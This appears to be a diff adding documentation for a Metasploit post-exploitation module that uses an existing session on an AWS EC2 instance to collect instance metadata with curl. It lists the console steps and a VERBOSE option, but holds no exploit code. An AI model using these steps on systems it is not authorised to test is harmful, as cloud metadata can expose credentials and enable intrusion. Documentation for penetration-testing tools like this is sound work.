| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | + This module uses an existing session on an AWS EC2 instance to gather |
| 4 | + the metadata about the instance. As such, any EC2 instance with `curl` |
| 5 | + is an applicable target. |
| 6 | + |
| 7 | +## Verification Steps |
| 8 | + |
| 9 | + 1. Get session |
| 10 | + 2. Do `use post/multi/gather/aws_ec2_instance_metadata` |
| 11 | + 3. Do `set SESSION <session id>` |
| 12 | + 4. Do `run` |
| 13 | + 5. See loot. |
| 14 | + |
| 15 | +## Options |
| 16 | + |
| 17 | + Set `VERBOSE` to `true` if you would like the AWS EC2 instance metadata to be shown |
| 18 | + in addition to being stored. |
| 19 | + |
